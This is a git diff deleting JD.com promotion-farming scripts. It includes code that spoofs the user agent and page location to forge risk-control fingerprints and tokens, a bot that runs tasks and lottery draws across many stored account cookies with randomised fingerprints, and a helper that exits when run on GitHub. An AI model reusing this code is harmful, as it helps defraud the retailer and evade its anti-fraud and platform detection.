} catch (e) {} - } - }; - this.reportWorker = function (n, e, f, r) { - try { - null != this.worker && - (this.worker.postMessage( - JSON.stringify({ - url: n, - data: e, - success: !1, - async: !1, - }) - ), - (this.worker.onmessage = function (k) {})); - } catch (k) {} - }; -})(); - -function td_collect_exe() { - _fingerprint_step = 8; - var t = td_collect.collect(); - td_collect.collectSdk(); - var u = "string" === typeof orderId ? orderId : "", - v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; - u = { - pin: _jdJrTdCommonsObtainPin(v), - oid: u, - p: "https:" == document.location.protocol ? "s" : "h", - fp: risk_jd_local_fingerprint, - ctype: v, - v: "2.7.10.4", - f: "3", - }; - try { - (u.o = _CurrentPageUrl), (u.qs = _url_query_str); - } catch (w) {} - _fingerprint_step = 9; - 0 >= _JdEid.length && - ((_JdEid = td_collect.obtainLocal()), 0 < _JdEid.length && (_eidFlag = !0)); - u.fc = _JdEid; - try { - u.t = jd_risk_token_id; - } catch (w) {} - try { - if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) - u.qi = gia_fp_qd_uuid; - else { - var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); - u.qi = void 0 == x ? "" : x; - } - } catch (w) {} - "undefined" != typeof jd_shadow__ && - 0 < jd_shadow__.length && - (u.jtb = jd_shadow__); - try { - td_collect.deviceInfo && - void 0 != td_collect.deviceInfo && - null != td_collect.deviceInfo.sdkToken && - "" != td_collect.deviceInfo.sdkToken - ? ((u.stk = td_collect.deviceInfo.sdkToken), (td_collect.isRpTok = !0)) - : (td_collect.isRpTok = !1); - } catch (w) { - td_collect.isRpTok = !1; - } - x = td_collect.tdencrypt(u); - // console.log(u) - return { a: x, d: t }; -} - -function _jdJrTdCommonsObtainPin(t) { - var u = ""; - "string" === typeof jd_jr_td_risk_pin && 1 == t - ? (u = jd_jr_td_risk_pin) - : "string" === typeof pin - ? (u = pin) - : "object" === typeof pin && - "string" === typeof jd_jr_td_risk_pin && - (u = jd_jr_td_risk_pin); - return u; -} - -function getBody(userAgent, url = document.location.href) { - navigator.userAgent = userAgent; - let href = url; - let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url); - let [, origin, protocol, host, pathname] = choose; - document.location.href = href; - document.location.origin = origin; - document.location.protocol = protocol; - document.location.host = host; - document.location.pathname = pathname; - const JF = new JdJrTdRiskFinger(); - let fp = JF.f.get(function (t) { - risk_jd_local_fingerprint = t; - return t; - }); - let arr = td_collect_exe(); - return { fp, ...arr }; -} - - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/jd_xtclh.js b/jd_xtclh.js deleted file mode 100644 index 58b3e72e3..000000000 --- a/jd_xtclh.js +++ /dev/null @@ -1,338 +0,0 @@ -/* -[task_local] -#4月小天才联合活动 -31 16 16-30/3 4 * jd_xtclh.js, tag=4月小天才联合活动, enabled=true -from https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_opencardty.js - */ -const $ = new Env('4月小天才联合活动'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -$.configCode = "3581767cb40d464b908d8dc0e6cc3ccf"; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - console.log('入口下拉:https://pro.m.jd.com/wq/active/23ebsEwajrvYj9qqsqhDJwZprQBo/index.html') - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdmodule(); - //await showMsg(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function showMsg() { - return new Promise(resolve => { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} - - -async function jdmodule() { - let runTime = 0; - do { - await getinfo(); //获取任务 - $.hasFinish = true; - await run(); - runTime++; - } while (!$.hasFinish && runTime < 10); - await getinfo(); - console.log("开始抽奖"); - for (let x = 0; x < $.chanceLeft; x++) { - await join(); - await $.wait(1500) - } -} - -//运行 -async function run() { - try { - for (let vo of $.taskinfo) { - if (vo.hasFinish === true) { - continue; - } - if (vo.taskName == '每日签到') { - console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); - await doTask(vo.taskType, vo.taskItem.itemId, vo.id); - await getReward(vo.taskType, vo.taskItem.itemId, vo.id); - } - if (vo.taskType == 3) { - console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); - await getinfo2(vo.taskItem.itemLink); - await $.wait(1000 * vo.viewTime) - await doTask(vo.taskType, vo.taskItem.itemId, vo.id); - await getReward(vo.taskType, vo.taskItem.itemId, vo.id); - } - if (vo.taskType == 4) { - console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); - await doTask(vo.taskType, vo.taskItem.itemId, vo.id); - await getReward(vo.taskType, vo.taskItem.itemId, vo.id); - } - if (vo.taskType == 2) { - console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); - await doTask(vo.taskType, vo.taskItem.itemId, vo.id); - await getReward(vo.taskType, vo.taskItem.itemId, vo.id); - } - $.hasFinish = false; - } - } catch (e) { - console.log(e); - } -} - - -// 获取任务 -function getinfo() { - return new Promise(resolve => { - $.get({ - url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${$.configCode}&unionCardCode=`, - headers: { - 'Host': 'jdjoy.jd.com', - 'accept': '*/*', - 'content-type': 'application/json', - "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", - "origin": "https://prodev.m.jd.com", - 'X-Requested-With': 'com.jingdong.app.mall', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'accept-language': 'zh-Hans-CN;q=1', - 'cookie': cookie - }, - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getinfo请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - $.chanceLeft = data.data.chanceLeft; - if (data.success == true) { - $.taskinfo = data.data.taskConfig - } else { - console.log(data.errorMessage); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -//抽奖 -function join() { - return new Promise(async (resolve) => { - $.get({ - url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${$.configCode}&fp=${randomWord(false, 32, 32)}&eid=`, - headers: { - 'Host': 'jdjoy.jd.com', - 'accept': '*/*', - 'content-type': 'application/json', - "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", - "origin": "https://prodev.m.jd.com", - 'X-Requested-With': 'com.jingdong.app.mall', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'accept-language': 'zh-Hans-CN;q=1', - 'cookie': cookie - }, - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`join请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.success == true) { - console.log(`抽奖结果:${data.data.rewardName}`); - } - else { - console.log(data.errorMessage); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -//做任务 -function doTask(taskType, itemId, taskid) { - return new Promise(resolve => { - let options = taskPostUrl('doTask', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`doTask 请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.success == true) { - console.log("任务成功"); - } else { - console.log(data.errorMessage); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - -//领取任务奖励 -function getReward(taskType, itemId, taskid) { - return new Promise(resolve => { - let options = taskPostUrl('getReward', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`getReward 请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.success == true) { - console.log("任务奖励领取成功"); - } else { - console.log(data.errorMessage); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function getinfo2(url2) { - return new Promise(resolve => { - $.get({ - url: url2, - headers: { - 'Host': 'pro.m.jd.com', - 'accept': '*/*', - 'content-type': 'application/x-www-form-urlencoded', - 'referer': '', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'accept-language': 'zh-Hans-CN;q=1', - 'cookie': cookie - }, - }, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`getinfo2 API请求失败,请检查网路重试`) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -function taskPostUrl(function_id, body = {}) { - return { - url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, - body: `${(body)}`, - headers: { - "Accept": "application/json, text/plain, */*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/json", - "Host": "jdjoy.jd.com", - "x-requested-with": "com.jingdong.app.mall", - "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", - "origin": "https://prodev.m.jd.com", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -function randomWord(randomFlag, min, max) { - var str = "", - range = min, - arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; - - // 随机产生 - if (randomFlag) { - range = Math.round(Math.random() * (max - min)) + min; - } - for (var i = 0; i < range; i++) { - pos = Math.round(Math.random() * (arr.length - 1)); - str += arr[pos]; - } - return str; -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new 